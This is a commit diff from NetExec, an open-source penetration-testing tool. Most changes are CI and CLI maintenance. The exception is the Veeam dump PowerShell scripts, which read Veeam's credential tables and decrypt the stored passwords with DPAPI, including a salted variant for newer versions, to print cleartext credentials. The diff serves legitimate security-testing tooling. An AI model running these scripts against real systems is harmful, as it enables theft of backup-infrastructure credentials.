Skip to content

Commit fda6b6a

Browse files
NeffIsBackNeffIsBack
authored
Merge branch 'main' into enable_cmdshell
2 parents e551d3e + 9829b08 commit fda6b6a

69 files changed

Lines changed: 3714 additions & 2573 deletions

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

‎.github/workflows/build-binaries.yml‎

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@ jobs:
1010
strategy:
1111
matrix:
1212
os: [ubuntu-latest, macOS-latest, windows-latest]
13-
python-version: ["3.12"]
13+
python-version: ["3.13"]
1414
#python-version: ["3.8", "3.9", "3.10", "3.11"] # for binary builds we only need one version
1515
steps:
1616
- uses: actions/checkout@v4
@@ -20,7 +20,7 @@ jobs:
2020
python-version: ${{ matrix.python-version }}
2121
- name: Build Native Binary
2222
run: |
23-
pip install pyinstaller
23+
pip install pyinstaller pillow
2424
pip install .
2525
pyinstaller netexec.spec
2626
- name: Upload Windows Binary

‎.github/workflows/build-zipapps.yml‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@ jobs:
1010
strategy:
1111
matrix:
1212
os: [ubuntu-latest, macOS-latest, windows-latest]
13-
python-version: ["3.10", "3.11", "3.12"]
13+
python-version: ["3.10", "3.11", "3.12", "3.13"]
1414
steps:
1515
- uses: actions/checkout@v4
1616
- name: NetExec set up python on ${{ matrix.os }}

‎.github/workflows/lint.yml‎

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -4,12 +4,14 @@ name: Lint Python code with ruff
44
on:
55
push:
66
workflow_dispatch:
7+
pull_request_review:
8+
types: [submitted]
79

810
jobs:
911
lint:
1012
runs-on: ubuntu-latest
1113
if:
12-
github.event_name == 'push' || github.event.pull_request.head.repo.full_name != github.repository
14+
github.event_name == 'push' || github.event.review.state == 'APPROVED' || github.event_name == 'workflow_dispatch'
1315

1416
steps:
1517
- uses: actions/checkout@v4
@@ -19,7 +21,7 @@ jobs:
1921
- name: Set up Python
2022
uses: actions/setup-python@v5
2123
with:
22-
python-version: 3.12
24+
python-version: 3.13
2325
cache: poetry
2426
cache-dependency-path: poetry.lock
2527
- name: Install dependencies with dev group

‎.github/workflows/test.yml‎

Lines changed: 5 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -14,12 +14,14 @@ jobs:
1414
max-parallel: 5
1515
matrix:
1616
os: [ubuntu-latest]
17-
python-version: ["3.10", "3.11", "3.12"]
17+
python-version: ["3.10", "3.11", "3.12", "3.13"]
1818
steps:
1919
- uses: actions/checkout@v4
2020
- name: Install poetry
2121
run: |
22-
pipx install poetry==1.8.4
22+
pipx install poetry
23+
poetry --version
24+
poetry env info
2325
- name: NetExec set up python ${{ matrix.python-version }} on ${{ matrix.os }}
2426
uses: actions/setup-python@v5
2527
with:
@@ -29,11 +31,6 @@ jobs:
2931
- name: Install with pipx
3032
run: |
3133
pipx install . --python python${{ matrix.python-version }}
32-
- name: Install poetry
33-
run: |
34-
pipx install poetry --python python${{ matrix.python-version }}
35-
poetry --version
36-
poetry env info
3734
- name: Install libraries with dev group
3835
run: |
3936
poetry install --with dev
@@ -48,4 +45,4 @@ jobs:
4845
poetry run netexec mssql 127.0.0.1
4946
poetry run netexec ssh 127.0.0.1
5047
poetry run netexec ftp 127.0.0.1
51-
poetry run netexec smb 127.0.0.1 -M veeam
48+
poetry run netexec smb 127.0.0.1 -L

‎netexec.spec‎

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -20,6 +20,7 @@ a = Analysis(
2020
'aardwolf.commons.target',
2121
'aardwolf.protocol.x224.constants',
2222
'impacket.examples.secretsdump',
23+
'impacket.examples.regsecrets',
2324
'impacket.dcerpc.v5.lsat',
2425
'impacket.dcerpc.v5.transport',
2526
'impacket.dcerpc.v5.lsad',
@@ -32,7 +33,6 @@ a = Analysis(
3233
'impacket.ldap.ldap',
3334
'jwt',
3435
'nxc.connection',
35-
'nxc.servers.smb',
3636
'nxc.protocols.smb.wmiexec',
3737
'nxc.protocols.smb.atexec',
3838
'nxc.protocols.smb.smbexec',
@@ -47,7 +47,6 @@ a = Analysis(
4747
'nxc.helpers.ntlm_parser',
4848
'paramiko',
4949
'pypsrp.client',
50-
'pywerview.cli.helpers',
5150
'pylnk3',
5251
'pypykatz',
5352
'pyNfsClient',

‎nxc/cli.py‎

Lines changed: 14 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -16,46 +16,48 @@
1616

1717
def gen_cli_args():
1818
setup_debug_logging()
19-
19+
2020
try:
2121
VERSION, COMMIT = importlib.metadata.version("netexec").split("+")
22+
DISTANCE, COMMIT = COMMIT.split(".")
2223
except ValueError:
2324
VERSION = importlib.metadata.version("netexec")
2425
COMMIT = ""
25-
CODENAME = "NeedForSpeed"
26-
nxc_logger.debug(f"NXC VERSION: {VERSION} - {CODENAME} - {COMMIT}")
27-
26+
DISTANCE = ""
27+
CODENAME = "SmoothOperator"
28+
nxc_logger.debug(f"NXC VERSION: {VERSION} - {CODENAME} - {COMMIT} - {DISTANCE}")
29+
2830
generic_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
2931
generic_group = generic_parser.add_argument_group("Generic", "Generic options for nxc across protocols")
3032
generic_group.add_argument("--version", action="store_true", help="Display nxc version")
3133
generic_group.add_argument("-t", "--threads", type=int, dest="threads", default=256, help="set how many concurrent threads to use")
3234
generic_group.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread")
3335
generic_group.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each authentication")
34-
36+
3537
output_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
3638
output_group = output_parser.add_argument_group("Output", "Options to set verbosity levels and control output")
3739
output_group.add_argument("--verbose", action="store_true", help="enable verbose output")
3840
output_group.add_argument("--debug", action="store_true", help="enable debug level information")
3941
output_group.add_argument("--no-progress", action="store_true", help="do not displaying progress bar during scan")
4042
output_group.add_argument("--log", metavar="LOG", help="export result into a custom file")
41-
43+
4244
dns_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
4345
dns_group = dns_parser.add_argument_group("DNS")
4446
dns_group.add_argument("-6", dest="force_ipv6", action="store_true", help="Enable force IPv6")
4547
dns_group.add_argument("--dns-server", action="store", help="Specify DNS server (default: Use hosts file & System DNS)")
4648
dns_group.add_argument("--dns-tcp", action="store_true", help="Use TCP instead of UDP for DNS queries")
4749
dns_group.add_argument("--dns-timeout", action="store", type=int, default=3, help="DNS query timeout in seconds")
48-
50+
4951
parser = argparse.ArgumentParser(
5052
description=rf"""
5153
. .
5254
.| |. _ _ _ _____
5355
|| || | \ | | ___ | |_ | ____| __ __ ___ ___
5456
\\( )// | \| | / _ \ | __| | _| \ \/ / / _ \ / __|
5557
.=[ ]=. | |\ | | __/ | |_ | |___ > < | __/ | (__
56-
/ /ॱ-ॱ\ \ |_| \_| \___| \__| |_____| /_/\_\ \___| \___|
57-
ॱ \ / ॱ
58-
ॱ ॱ
58+
/ /˙-˙\ \ |_| \_| \___| \__| |_____| /_/\_\ \___| \___|
59+
˙ \ / ˙
60+
˙ ˙
5961
6062
The network execution tool
6163
Maintained as an open source project by @NeffIsBack, @MJHallenbeck, @_zblurx
@@ -105,12 +107,6 @@ def gen_cli_args():
105107
certificate_group.add_argument("--pfx-pass", metavar="PFXPASS", help="Password of the pfx certificate")
106108
certificate_group.add_argument("--pem-cert", metavar="PEMCERT", help="Use certificate authentication from PEM file")
107109
certificate_group.add_argument("--pem-key", metavar="PEMKEY", help="Private key for the PEM format")
108-
109-
server_group = std_parser.add_argument_group("Servers", "Options for nxc servers")
110-
server_group.add_argument("--server", choices={"http", "https"}, default="https", help="use the selected server")
111-
server_group.add_argument("--server-host", type=str, default="0.0.0.0", metavar="HOST", help="IP to bind the server to")
112-
server_group.add_argument("--server-port", metavar="PORT", type=int, help="start the server on the specified port")
113-
server_group.add_argument("--connectback-host", type=str, metavar="CHOST", help="IP for the remote system to connect back to")
114110

115111
p_loader = ProtocolLoader()
116112
protocols = p_loader.get_protocols()
@@ -122,15 +118,15 @@ def gen_cli_args():
122118
except Exception as e:
123119
nxc_logger.exception(f"Error loading proto_args from proto_args.py file in protocol folder: {protocol} - {e}")
124120

125-
argcomplete.autocomplete(parser)
121+
argcomplete.autocomplete(parser, always_complete_options=False)
126122
args = parser.parse_args()
127123

128124
if len(sys.argv) == 1:
129125
parser.print_help()
130126
sys.exit(1)
131127

132128
if args.version:
133-
print(f"{VERSION} - {CODENAME} - {COMMIT}")
129+
print(f"{VERSION} - {CODENAME} - {COMMIT} - {DISTANCE}")
134130
sys.exit(1)
135131

136132
# Multiply output_tries by 10 to enable more fine granural control, see exec methods

‎nxc/connection.py‎

Lines changed: 2 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -284,11 +284,6 @@ def call_modules(self):
284284
context = Context(self.db, module_logger, self.args)
285285
context.localip = self.local_ip
286286

287-
if hasattr(module, "on_request") or hasattr(module, "has_response"):
288-
self.logger.debug(f"Module {module.name} has on_request or has_response methods")
289-
self.server.connection = self
290-
self.server.context.localip = self.local_ip
291-
292287
if hasattr(module, "on_login"):
293288
self.logger.debug(f"Module {module.name} has on_login method")
294289
module.on_login(context, self)
@@ -297,10 +292,6 @@ def call_modules(self):
297292
self.logger.debug(f"Module {module.name} has on_admin_login method")
298293
module.on_admin_login(context, self)
299294

300-
if (not hasattr(module, "on_request") and not hasattr(module, "has_response")) and hasattr(module, "on_shutdown"):
301-
self.logger.debug(f"Module {module.name} has on_shutdown method")
302-
module.on_shutdown(context, self)
303-
304295
def inc_failed_login(self, username):
305296
global global_failed_logins
306297
global user_failed_logins
@@ -389,7 +380,7 @@ def parse_credentials(self):
389380
if "\\" in line and len(line.split("\\")) == 2:
390381
domain_single, username_single = line.split("\\")
391382
else:
392-
domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain else self.domain
383+
domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain is not None else self.domain
393384
username_single = line
394385
domain.append(domain_single)
395386
username.append(username_single.strip())
@@ -398,7 +389,7 @@ def parse_credentials(self):
398389
if "\\" in user:
399390
domain_single, username_single = user.split("\\")
400391
else:
401-
domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain else self.domain
392+
domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain is not None else self.domain
402393
username_single = user
403394
domain.append(domain_single)
404395
username.append(username_single)

‎nxc/data/veeam_dump_module/veeam_dump_mssql.ps1‎

Lines changed: 37 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,10 @@
11
$SqlDatabaseName = "REPLACE_ME_SqlDatabase"
22
$SqlServerName = "REPLACE_ME_SqlServer"
33
$SqlInstanceName = "REPLACE_ME_SqlInstance"
4+
$b64Salt = "REPLACE_ME_b64Salt"
45

56
#Forming the connection string
6-
$SQL = "SELECT [user_name] AS 'User',[password] AS 'Password' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords
7+
$SQL = "SELECT [user_name] AS 'User', [password] AS 'Password', [description] AS 'Description' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords
78
$auth = "Integrated Security=SSPI;" #Local user
89
$connectionString = "Provider=sqloledb; Data Source=$SqlServerName\$SqlInstanceName; Initial Catalog=$SqlDatabaseName; $auth;"
910
$connection = New-Object System.Data.OleDb.OleDbConnection $connectionString
@@ -22,19 +23,46 @@ catch {
2223
exit -1
2324
}
2425

25-
$rows=($dataset.Tables | Select-Object -Expand Rows)
26-
if ($rows.count -eq 0) {
26+
$output=($dataset.Tables | Select-Object -Expand Rows)
27+
if ($output.count -eq 0) {
2728
Write-Host "No passwords found!"
2829
exit
2930
}
3031

3132
Add-Type -assembly System.Security
32-
#Decrypting passwords using DPAPI
33-
$rows | ForEach-Object -Process {
34-
$EnryptedPWD = [Convert]::FromBase64String($_.password)
35-
$ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
33+
# Decrypting passwords using DPAPI
34+
$output | ForEach-Object -Process {
35+
$EncryptedPWD = [Convert]::FromBase64String($_.password)
3636
$enc = [system.text.encoding]::Default
37-
$_.password = $enc.GetString($ClearPWD) -replace '\s', 'WHITESPACE_ERROR'
37+
38+
try {
39+
# Decrypt password with DPAPI (old Veeam versions)
40+
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EncryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
41+
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
42+
} catch {
43+
try{
44+
# Decrypt password with salted DPAPI (new Veeam versions)
45+
$salt = [System.Convert]::FromBase64String($b64Salt)
46+
$hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EncryptedPWD.Length * 2)
47+
foreach ($byte in $EncryptedPWD)
48+
{
49+
$hex.AppendFormat("{0:x2}", $byte) > $null
50+
}
51+
$hex = $hex.ToString().Substring(74,$hex.Length-74)
52+
$EncryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2)
53+
for ($i = 0; $i -lt $hex.Length; $i += 2)
54+
{
55+
$EncryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16)
56+
}
57+
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)
58+
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
59+
}catch {
60+
$pw_string = "COULD_NOT_DECRYPT"
61+
}
62+
}
63+
$_.user = $_.user -replace '\s', 'WHITESPACE_ERROR'
64+
$_.password = $pw_string
65+
$_.description = $_.description -replace '\s', 'WHITESPACE_ERROR'
3866
}
3967

40-
Write-Output $rows | Format-Table -HideTableHeaders | Out-String
68+
Write-Output $output | Format-Table -HideTableHeaders | Out-String -Width 10000

‎nxc/data/veeam_dump_module/veeam_dump_postgresql.ps1‎

Lines changed: 34 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -1,22 +1,50 @@
11
$PostgreSqlExec = "REPLACE_ME_PostgreSqlExec"
22
$PostgresUserForWindowsAuth = "REPLACE_ME_PostgresUserForWindowsAuth"
33
$SqlDatabaseName = "REPLACE_ME_SqlDatabaseName"
4+
$b64Salt = "REPLACE_ME_b64Salt"
45

5-
$SQLStatement = "SELECT user_name AS User,password AS Password FROM credentials WHERE password != '';"
6+
$SQLStatement = "SELECT user_name AS User, password AS Password, description AS Description FROM credentials WHERE password != '';"
67
$output = . $PostgreSqlExec -U $PostgresUserForWindowsAuth -w -d $SqlDatabaseName -c $SQLStatement --csv | ConvertFrom-Csv
78

89
if ($output.count -eq 0) {
910
Write-Host "No passwords found!"
1011
exit
1112
}
1213

14+
# Decrypting passwords using DPAPI
1315
Add-Type -assembly System.Security
14-
#Decrypting passwords using DPAPI
1516
$output | ForEach-Object -Process {
16-
$EnryptedPWD = [Convert]::FromBase64String($_.password)
17-
$ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
17+
$EncryptedPWD = [Convert]::FromBase64String($_.password)
1818
$enc = [system.text.encoding]::Default
19-
$_.password = $enc.GetString($ClearPWD) -replace '\s', 'WHITESPACE_ERROR'
19+
20+
try {
21+
# Decrypt password with DPAPI (old Veeam versions)
22+
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EncryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
23+
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
24+
} catch {
25+
try{
26+
# Decrypt password with salted DPAPI (new Veeam versions)
27+
$salt = [System.Convert]::FromBase64String($b64Salt)
28+
$hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EncryptedPWD.Length * 2)
29+
foreach ($byte in $EncryptedPWD)
30+
{
31+
$hex.AppendFormat("{0:x2}", $byte) > $null
32+
}
33+
$hex = $hex.ToString().Substring(74,$hex.Length-74)
34+
$EncryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2)
35+
for ($i = 0; $i -lt $hex.Length; $i += 2)
36+
{
37+
$EncryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16)
38+
}
39+
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)
40+
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
41+
}catch {
42+
$pw_string = "COULD_NOT_DECRYPT"
43+
}
44+
}
45+
$_.user = $_.user -replace '\s', 'WHITESPACE_ERROR'
46+
$_.password = $pw_string
47+
$_.description = $_.description -replace '\s', 'WHITESPACE_ERROR'
2048
}
2149

22-
Write-Output $output | Format-Table -HideTableHeaders | Out-String
50+
Write-Output $output | Format-Table -HideTableHeaders | Out-String -Width 10000

0 commit comments

Comments
 (0)